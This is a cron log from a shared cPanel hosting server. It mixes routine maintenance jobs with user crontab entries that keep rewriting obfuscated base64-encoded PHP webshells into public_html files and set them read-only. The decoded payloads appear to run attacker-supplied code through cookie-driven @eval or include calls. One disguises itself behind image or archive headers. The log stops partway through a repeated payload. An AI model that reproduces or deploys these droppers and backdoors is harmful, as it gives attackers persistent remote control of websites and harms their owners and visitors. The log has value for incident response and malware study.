Mar  1 20:49:01 medusa CROND[27108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:49:01 medusa CROND[27110]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:50:01 medusa CROND[15208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:50:01 medusa CROND[15259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:50:01 medusa CROND[15320]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:50:01 medusa CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15458]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:50:01 medusa CROND[15461]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:50:01 medusa CROND[15462]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:50:01 medusa CROND[15467]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:50:01 medusa CROND[15468]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:50:01 medusa CROND[15478]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:50:01 medusa CROND[15479]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:50:01 medusa CROND[15484]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15481]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:50:01 medusa CROND[15485]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  1 20:50:01 medusa CROND[15496]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:50:01 medusa CROND[15498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:50:01 medusa CROND[15499]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:50:01 medusa CROND[15492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15502]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:50:01 medusa CROND[15497]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 20:50:01 medusa CROND[15493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:50:01 medusa CROND[15508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15500]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:50:01 medusa CROND[15518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:50:01 medusa CROND[15516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:50:01 medusa CROND[15525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:50:01 medusa CROND[15524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:50:01 medusa CROND[15531]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:51:01 medusa CROND[1670]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:51:01 medusa CROND[1827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:51:01 medusa CROND[1989]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:51:01 medusa CROND[1990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:51:01 medusa CROND[1991]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:51:01 medusa CROND[1993]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:51:01 medusa CROND[1997]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:51:01 medusa CROND[1998]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:51:01 medusa CROND[2002]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:51:01 medusa CROND[2006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:51:01 medusa CROND[2012]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:51:01 medusa CROND[2019]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:51:01 medusa CROND[2023]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:51:01 medusa CROND[2026]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAg